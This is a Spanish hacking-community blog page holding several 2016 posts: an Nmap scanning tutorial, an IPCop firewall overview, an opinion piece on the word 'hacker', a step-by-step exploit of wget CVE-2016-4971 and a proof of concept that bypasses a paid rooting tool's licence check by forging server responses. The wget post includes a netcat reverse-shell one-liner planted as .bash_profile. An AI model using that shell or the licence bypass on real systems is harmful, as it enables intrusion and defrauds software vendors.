jueves, 30 de junio de 2016

Canal de Youtube Rabbit Hutch


Buenas hackers! Os presentamos una nueva idea de proyecto ligada a nuestra comunidad Follow the white rabbit llamada Rabbit Hutch, en base a que creemos que la enseñanza e información debe ser libre. Todos tenemos que tener la viabilidad de poder aprender sin que suponga costes económicos, siempre que los profesores estén dispuestos a la enseñanza gratuita. Es igual de legítimo cobrar por ello, pero no la propuesta de nuestra comunidad.

Por otro lado la enseñanza será a través de una gran cantidad de vídeos cortos, dividida en listas de reproducción dependiendo del campo a tratar.
Lo principal como se explica en el vídeo de bienvenida es:
  • Hacking en sistemas desde lo más básico a más avanzado siguiendo una fase o campo particular en el test de intrusión o "penetration testing" de los sistemas. Como por ejemplo, recolección de información, explotación, hacking web etc...
  • PoC's o pruebas de concepto.
  • Pentesting en sistemas y CTF (Capture the flag).
  • Retos en sitios online.
  • Laboratorios online.
En un principio seremos tres profesores de la comunidad Follow the white rabbit, quien llevaremos el canal. Seremos Naivenom, Ruben Gutierrez y Pablo Lorenzo.
Se requiere nociones previas de redes y sistemas Windows y Linux, para poder comprender algunos conceptos que se explicará de forma distendida en los vídeos. Al igual, habrá vídeos que serán más complicados que otros dependiendo de la temática. No es lo mismo comprender un buffer overflow para escalar privilegios en un sistema Linux, que realizar una enumeración de los puertos de un servidor usando Nmap.
La publicación de los vídeos será muy constante, para que los invitados o suscriptores del canal, siempre puedan poner en práctica nuevas técnicas hacking.
Y la resolución de las dudas se podrá hacer mediante tweets en el Twitter personal de cada profesor.


lunes, 27 de junio de 2016

Nmap: Haciendo la vida más fácil desde 1997. (Parte I)


Empezaremos hablando un poco de la historia sobre la herramienta Nmap (Network Mapper). Nmap, es una herramienta de exploración de red, escaneo de puertos, vulnerabilidades y es un gran apoyo a las auditorías de seguridad, su uso es gratuito y además de código abierto. Fue creada por Fyodor, allá por el 97, y desde entonces ha sido el encargado de mantener y mejorar la herramienta.

Nmap, es muy utilizada por los sysadmins para realizar tareas, por ejemplo de monitorización de los sistemas en la empresa, inventarios de los equipos conectados a la red, etc. Lo que realmente hace efectiva la herramienta es el soporte a prácticamente todos los sistemas operativos más utilizados: Windows, Linux, MacOs, FreeBSD, etc… Nosotros, nos vamos a basar únicamente en Linux, más concretamente en la distro Kali Linux 2016.

En el siguiente tutorial, se va a ver de una manera genérica la utilización de la herramienta, descrita paso a paso para su uso, si bien es verdad que se pueden hacer muchísimas más cosas, vamos a centrarnos en el uso más frecuente.

El índice será el siguiente:

1º. Instalación
2º. Primeros pasos con Nmap
3º. Objetivos
4º. Exploración de hosts
5º. Modos de escaneo
6º. Uso de comandos (versión OS, servicios, puertos…)
7º. Guardar datos de exploración
8º. Otros comandos de uso 

Instalación: 
- Para realizar la instalación es muy sencillo, aunque en Kali Linux viene por defecto, por si no lo tuvieramos sería de la siguiente manera, con el comando: apt-get install nmap. En caso de no ser root, tendríamos que poner SUDO antes del comando de arriba.



Primeros pasos con Nmap:
- Ya lo tenemos instalado, ahora vamos a ver que puede hacer. En este mini tutorial, lo que he hecho ha sido instalar una máquina para hacerlo, en éste caso ha sido la máquina metasploitable2, con la que más adelante se podrán hacer PoC, y habrán cosas divertidas para poder romper mano. Para saber la IP de la máquina metasploitable sólo basta con poner el comando ifconfig, y nos saldrá.


En la imagen he explicado lo que se vería en una primera exploración.


Métodos de exploración:

Voy a explicar brevemente lo que se va a ver a continuación, y es el método que se usa para establecer la conexión, en este caso el saludo o negociación a 3 pasos.


De una forma muy fácil y poco detallada, podemos ver de un vistazo en términos generales, como funciona los pasos abajo explicados. También he puesto unas trazas para que realmente veamos las conexiones que se establecen.

-Voy a explicar un 2 métodos de exploración, aunque existen bastantes más que iremos viendo en los siguientes tutoriales.

 Este es el método más utilzado, y el que recomiendo de utilzar siempre. ¿Por qué? Por que es el más sigiloso que hay, y si hubiera algun sistema IDS, podría no detectarlo. Que significa eso? Fácil, es como si vas a casa de alguien, llamás a la puerta y te escondes, entonces puedes ver si abre la puerta y sabes que hay alguien, o si no abren la puerta sabes que no hay. Ponemos un ejemplo.

Metodo SYN Scan


Ponemos la traza para que ver que hace.


Ahí se ve perfectamente lo que hemos dicho arriba. Envía un SYN, recibe un SYN/ACK, y finalmente hace un RST. Eso hace que reseteé la conexión antes de terminar, y así los sistemas operativos no lo tratan como tal, y no guardan logs en el que nos detecte.

Ahora veremos otro ejemplo con TCP-CONNECT



 Y ahora su traza es la siguiente:


Vemos como hace el ciclo completo, y luego, el RST.

Detección S.O.

-Vamos a ver como se puede detectar el sistema operativo que usa la máquina victima.


Se puede ver que está corriendo una versión Linux con la versión 2.6.x, y detalla que puede estar la versión entre la 2.6.9 y 2.6.33.

A parte, hemos seleccionado el puerto 22 para que lo escaneé, con el comando -p.

Detección versiones:

-Ahora veremos como detectar la versión de los servicios que usa.



Aquí ya vemos que la version del servicio ssh, es OPEN SSH 4.7.

Selección de puertos:

Si queremos seleccionar unos puertos concretos, podemos separarlos por "," y si quieremos que sean por rangos, los separaremos por una "-".



Guardar información:

Queremos guardar la información obtenida en un archivo de texto, pues entonces ponemos el siguiente comando.



Ahora que hemos visto un poco la introducción a Nmap, vamos a ver un ejemplo con todo lo aprendido.



Voy a diseccionar el comando por partes:

-sS -> Método sigiloso
-sV -> Listar versión
-O -> Info S.O.
-v -> Detalle de la info mientras se ejecuta.
-iL -> Selección de un archivo si queremos escanear varias IP's o direcciones.
-p -> Selección de puertos, en este caso separados por con ",".
-oN -> Salvar los datos que nos aparecen en el terminal.


Y hasta aquí la primera parte de una herramienta que puede no tener fin. Toda la información que se detalla es muy importante a la hora de hacer pentesting, ya que nos está dando información de por donde podemos atacar a la victima, en este caso se ve claramente muy puntos de ataques que iremos viendo más adelante.


A disfrutar!!!

Rubén Gutiérrez
@rgutga
www.cursohackingeticorabbithutch.tk

sábado, 25 de junio de 2016

Explotando wget. CVE-2016-4971


Buenas compañeros,

Esta semana leyendo las noticias encontramos que se ha publicado una vulnerabilidad en WGET que afecta hasta la versión 1.17.
Es el CVE que acompaña al titulo, la descripción nos dice;
En una redirección de HTTP a un recurso FTP, wget confia en el servidor HTTP y usa el nombre
de archivo de la redirección como nombre destino.


Vamos a ver que necesitamos para plantear un escenario de explotación paso a paso.
Primero montar un servidor FTP que alojará el fichero que queremos que se descargue la victima.

Partiendo de una Kali, instalamos proftpd.

apt-get install proftpd-basic


Creamos el directorio raíz y le damos permisos para el usuario
proftpd

cd /var/
mkdir ftp
chown proftpd -R ftp/
cd ftp/
touch TEST


Creamos también un archivo TEST en la raíz y configuramos el servicio FTP.
Con una configuración básica será suficiente para la prueba.

DefaultRoot /var/ftp
<Limit LOGIN>
   DenyAll
</Limit>

<Anonymous /var/ftp>
   User   proftpd
   UserAlias anonymous proftpd
   RequireValidShell off

   <Limit LOGIN>
      AllowAll
   </Limit>
</Anonymous>


Iniciamos el servicio FTP, service proftpd start
ya tenemos el servidor ftp. Vamos con Apache para crear la redirección.

Lo primero vamos a crear un archivo gancho, este es el que la victima creerá descargar.
Le vamos a poner el suculento nombre de claves.txt.

touch /var/www/html/claves.txt


Ahora configuramos una redirección simple en Apache que redirija las peticiones de claves.txt al archivo que hemos alojado en nuestro FTP.

nano /etc/apache2/sites-enabled/000 sites-enabled/000-default.conf

Redirect /claves.txt ftp://192.168.10.185/TEST



Finalmente reiniciamos Apache, service apache2 restart,  para que cargue la nueva configuración y ya tenemos la trampa hecha.


Resultado


Cuando una victima haga
wget sobre nuestro archivo claves.txt realmente descargará el archivo TEST del ftp.


wget http://192.168.10.185/claves.txt




Sacando provecho de la situación


Hemos visto que el problema reside en la falta de comprobaciones por parte de wget en el nombre destino, por lo que sabiendo que podemos escribir en destino con un nombre arbitrario podemos intentar escribir algún archivo que interprete el sistema.
Como ".bash_login" y ".bash_profile" son archivos que ejecuta Bash cuando crea un nueva sesión parecen buenas opciones.

Manos a la obra, nos vamos a crear un archivo .bash_profile en el que vamos a incluir una Shell Reversa, por ejemplo, con netcat.


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.185 5151 >/tmp/f &


Guardamos como .bash_profile en la raíz del ftp y modificamos nuestra redirección en Apache para que apunte al nuevo archivo.

Redirect /claves.txt ftp://192.168.10.185/.bash_profile

Reiniciamos Apache y levantamos un netcat para recibir la conexión.
wget http://192.168.10.185/claves.txt  [.bash_profile]

Ahora cuando la victima ejecute wget contra el archivo claves.txt se crea un archivo .bash_profile con una Shell que se ejecutará en cada inicio.

Obtenemos una Shell cuando se inicia bash en la victima



Referencias:






viernes, 24 de junio de 2016

Unified Threat Managers e IPCOP

Buenas hackers! Hoy vamos a explicar brevemente qué es un gestor unificado de amenazas o UTM, tomando como ejemplo a IPCop.

Existen actualmente en el mercado varias opciones a la hora de realizar la monitorización control de acceso a nuestras diferentes subredes, tanto a nivel particular como empresarial. La opción más escogida por las empresas y la industria en general pasa por colocar un Firewall o un UTM (Unified Threat Manager) entre Internet (parte WAN) y la red local (parte LAN). La diferencia conceptual entre estas dos opciones reside en que el Firewall suele estar orientado al control de acceso y el bloqueo de conexiones entrantes y salientes no deseadas; el UTM contiene muchas más opciones de seguridad, como por ejemplo la detección de intrusiones, la instalación de un proxy web o el control avanzado de acceso entre diferentes interfaces de red conectadas.


Entre los UTM más utilizados actualmente se encuentra IPCop, una distribución Linux que implementa tanto un Firewall como otras muchas funcionalidades de seguridad y gestión centralizada de redes. Puede instalarse en cualquier dispositivo compatible con arquitectura Intel de 32 bits, y cuenta con un gran número de extensiones o addons para ampliar sus funciones.

Además de contar con una interfaz directa mediante consola, cuenta también con una interfaz web desde la que podremos realizar cualquier configuración necesaria, además de actualizar el sistema e instalar extensiones.

IPCop de forma predeterminada divide la red en varias “zonas”, diferenciadas por un código claro de colores. Cada una de estas zonas tendrá unas políticas de seguridad especiales, que pueden sobreescribirse posteriormente con reglas explícitas más personalizadas.

  • La zona verde es nuestra zona LAN local. IPCop confía plenamente en esta zona, permitiendo las conexiones desde ella a cualquier otra zona de red sin restricciones.
  • La zona roja es la zona WAN, normalmente Internet. IPCop desconfía completamente de esta zona, y no permite ninguna conexión desde la zona roja a cualquiera de las otras zonas, si no es por medio de NAT o una VPN.
  • La zona azul es nuestra zona WiFi, la que realmente interesa en el caso que nos ocupa. Esta zona, opcional, permite la gestión de una red inalámbrica. De forma predeterminada no se permite el acceso a ninguna de las otras zonas, a no ser que se configuren reglas de tráfico interno en el Firewall permitiendo esto. Además proporciona filtrado por MAC y dirección IP.
  • La zona naranja es la zona desmilitarizada o DMZ de nuestra red. IPCop permite establecer conexiones desde aquí solamente hacia la zona roja, la cual tendrá que conectarse a la naranja mediante NAT. El objetivo de esta zona es colocar los servidores y otros dispositivos que tengan que ser accedidos tanto desde el exterior como desde el interior.
Podemos observar aquí una tabla resumen de estas reglas predeterminadas:

Resumen de las reglas d IPCop
 Como ya hemos dicho, IPCop dispone de una interfaz web desde la que podremos manejar toda la configuración una vez hayamos instalado el sistema de forma correcta mediante consola. En el proceso de instalación es cuando se pedirá la configuración inicial de la red, seleccionando las zonas que será necesario gestionar y su tipo, además de otros detalles como el direccionamiento IP y algunos servicios predeterminados.

Como ejemplo a la hora de securizar un segmento de red, podemos configurar la zona azul o zona Wifi. En el apartado del Firewall, podemos agregar cualquier tipo de regla que permita la entrada/salida de conexiones entre la zona azul y cualquier otra zona. Recordemos que las reglas predeterminadas pueden, de esta manera, sobreescribirse. Sin embargo, no es habitual que un servidor u otro host al que haya que conectarse esté dentro de esta zona, y hay que tener en cuenta que podría haber intrusos en ella; ninguna red es segura. Por tanto habrá que tratar estas reglas con sumo cuidado.

Configurando una regla de Firewall
Además del origen y destino, podemos especificar el protocolo de red o el puerto que queramos gestionar, permitiendo o denegando la ejecución de ciertas aplicaciones.

Otro servicio muy útil es el control de acceso a páginas web mediante el uso de un proxy web y filtros de URLs. Ésto permite denegar o permitir ciertas páginas, siguiendo políticas de lista blanca o negra.

Activando el servicio de proxy web
Y por supuesto, un UTM no estaría completo sin un sistema de logs que controle todos los eventos posibles en las interfaces de red. IPCop dispone de forma predeterminada de un log de sistema y de un log de Firewall; éste último es el que registrará todos los eventos en cuanto a intentos de conexión a cualquiera de las interfaces, entre ellas la de zona azul.

Vista de los logs del UTM
Concluimos diciendo que éste es solamente un ejemplo de las opciones empresariales que podemos incorporar a una compañía en materia de control de acceso y monitorización de una red inalámbrica. De hecho, si solamente quiere monitorizar dicha interfaz inalámbrica, tal vez un UTM completo sea excesivo, y queramos instalar una solución más limitada y enfocada al control mediante Firewall. Muchas empresas,de todos modos, y sobre todo pequeñas y medianas, apuestan por este tipo de soluciones para mantener centralizada la gestión de amenazas.

Espero que la entrada os guste y os haya servido para aprender algo. Un saludo!!
hartek

Referencias:
http://www.ipcop.org/docs.php
http://www.ipcop.org/1.4.0/en/admin/html/section-firewall.html
http://www.ipcop.org/2.0.0/es/admin/html/firewall-blue-access.html

miércoles, 22 de junio de 2016

Hollywood-hackers, cagadas de la RAE y otras idioteces...



Muy buenas ciberdelincuent... perdón, hackers,

Una entrada más para este blog, no es nada técnico pero creo que es necesaria porque a día de hoy aun seguimos con el dichoso teminta. Y aunque me lo tome con ironía y sorna, solo es cuestión de falta de conocimiento, que le voy a hacer… no se escribir el llanto.

Spain isn't diferent (RAE)


Y ahora entenderás el título. Según la RAE, tú, si tú, eres un “pirata informático”, un mero delincuente, un desecho, escoria:



Y se quedan tan tranquilos, incluso creo que duermen por las noches. Vaya panda de vurros, puedes pensar. Sí, vurros con V. Y es que si empezamos a escribir vurro con V pronto lo incluirán en el Real (¿?) Diccionario de la Lengua Española, ellos actúan así, simplemente modas. ¡Haz algo cotidiano con la lengua y pronto estará en la RAE!

Esto no es nada nuevo, ya ha habido campañas contra esta definición de la RAE. Pero lo cierto es que a día de hoy accedes a ella y se te da la misma definición, nada ha cambiado. Incluso nuestros colegas de elladodelmal.com ya anunciaban esta criminalización del termino hacker y señalaban la condena social que esto trae consigo.



Pero aparte de los afectados, a pocos más parece importar. ¿Dónde están estos trolls que salen a hasta de debajo de las piedras cuando se escribe alguna falta ortográfica en los artículos de blogs y que te restriegan el diccionario de la RAE por la cara en sus comentarios? Ahhh, claro, que lo que está en la RAE va a misa para ellos... Wow! Qué personalidad tan grande borreguitos.




Pues temblad vurros, porque con esta ya van cuatro palabras más cerca de que se acepte el término vurro (¡uy! 5) en vuestro diccionario. Ya comienzan los sudores fríos para muchos ehh? vu...tranquilo, que no voy a usar esta palabra errónea más (aprended), el diccionario de la RAE es amplio y hay otros sinónimos como ignorantes designar a quien nos llama ciberdelincuentes o piratas. ¿Piratas? Los del Caribe.

 Hollywood-hackers una moda estúpda más importada...



Pero para que la RAE acepte este término, ha tenido que haber una fuente, una incubadora de malpensados. Los medios de comunicación tienen la capacidad de convencer a cualquiera de cualquier cosa y claro, si ellos muestran a los hackers como una panda de inadaptados que se dedican a choricear por la web, pues es lo que queda en el consciente colectivo. 

Hollywood es una gran factoría de ficción, nada más. Aunque muchos os lo toméis como la nueva fe. Gracias a los de la costa oeste se ha generado lo que yo he llamado "Hollywood-hacker" es decir, el estereotipo de lo que "es" un hacker. Y ya sabes lo que dicen, una mentira contada mil veces termina transformándose en verdad...


¡Joder despierta! ¿Alguna vez has ido a un campamento de verano y has visto a Jason? ¿Te has tropezado alguna vez con un Predator? Sé jodidamente sincero, ¿Crees que la fábrica de Charlie existe? ¿Francamente piensas que si viniese una gran nave alien el presidente de tu país se quedaría para ayudar a derrotarlos? Rajoy se pegaría patadas en el culo por salir el primero... desengañate.

Si no te crees esas fanfarronadas, ¿por qué crees que un hacker es un inadaptado social, alguien falto de moral que es captado por mafias para atracar bancos o se dedica al robo de información relevante de empresas? Dale un par de vueltas... de verdad, pensar no duele. Si aun no lo has hecho te animo a probarlo, puede resultar hasta placentero.

Pero siento herrir tus sentimientos, quizás lo que te voy a decir ahora sea impactante para ti, pero NO TODO LO QUE TE CUENTAN ES CIERTO. Si quieres ver algo real en la TV, apagala y mira tu reflejo en la pantalla. 

Cerrajeros éticos: llamemos a cada cosa por su nombre




Y esto ya a título muy pesonal, es solo mi opinión... ¿Qué hemos hecho? Pues inventarnos términos como "ethical hacking", "hacker ético", etc. Es decir, dar por hecho que existe un "hacker no ético" un "hacking maligno"... al fin y al cabo darle la razón a los que están equivocados. ¡Bravo!

Nadie en su sano juicio llamaría a un ladrón "cerrajero" porque éste tenga conocimientos de cerraduras, ¿Verdad? Nadie en su sano juicio que no haya estado influenciado por estos medios de manipulación o por diccionarios tan "certeros" como la RAE. ¿Te imaginas telediarios, películas, libros, radio,...bombardeando sobre la oleada de cerrajeros que aprovechan las vacaciones de verano para robar casas? Pobres cerrajeros,  pero no os preocupéis si nos esta leyendo alguno de ellos. Hay una esperanza, a partir de ahora seréis "cerrajeros éticos" y Santas Pascuas...    

En mi opinión, la definición de hacker adecuada es "todo individuo que se dedica a programar de forma entusiasta, o sea un experto entusiasta de cualquier tipo, que considera que poner la información al alcance de todos constituye un extraordinario bien".  

Así que, por favor, libera de una vez el término hacker de toda connotación negativa. Un hacker es un hacker, no hay hackers buenos ni malos, como tampoco son malos los cuchillos. Todo depende del fin con el que se usen. Deja ya de escudarte detrás del adjetivo "etico", sé un hacker y punto. La coletilla "etico" me parece tan absurda como los sombreros... (black, white, grey), o eres hackers o eres ciberdelincuente. 

viernes, 17 de junio de 2016

Una PoC con sabor agrio :)

Buenas hackers! Os traigo una PoC realizada por @ShargonXL


Proof of Concept



Necesitaba por motivos de trabajo rootear una tablet del curro, pero por vagueza vi, esta web que te lo hacían solo con un click, por no descargarme el Odin...

 


Al instalarlo vi que estaba en .Net (Yohoo ! ¿¿ estará ofuscado??)
 Después de detectar la tablet, me obligaba a registrarme y hacer un pago :(

En lugar de pagar, prefiero el odín, pero antes...vamos a ver que se ve en el ejecutable.... Todo estaba sin ofuscar! y pronto encontré donde se hacía el proceso de login con el servidor para verificar que se ha pagado.

Se puede ver que lo único que comprueba es el estado que se recibe del servidor (distinto a 204 - No content) y después deserializa (JSON) el contenido de la clase User, que decompilandola podemos ver como es :


Pues vamos a jugar a ver si fallo normal (con Fiddler abierto)

 

Si le mando un 204 , modificando la respuesta, me entra en el "if" donde se muestra el excedido
Y si falseo la respuesta de un usuario válido , serializado en json :)


Pues se lo traga, y me crea un archivo para no volver a logearme, y directamente inicia el proceso como si hubiera pagado!


Ahora se pone a conectar y rootear! :)

Y de aquí el título. El programa básicamente te dice que chatees con ellos para rootearlo, no se como seguirán apartir de aquí, supongo que 
te mandaran un odín para que lo hagas xD, pero básicamente, no lo rootea :(, así que ahí el título, un poco amarga, por que me toca ponerme a
hacerlo con el odín. La vagueza al final resultó en pérdida de tiempo, pero y lo bien que nos lo hemos pasado saltándonos el usuario :), eso no nos lo quita nadie!

Google Analytics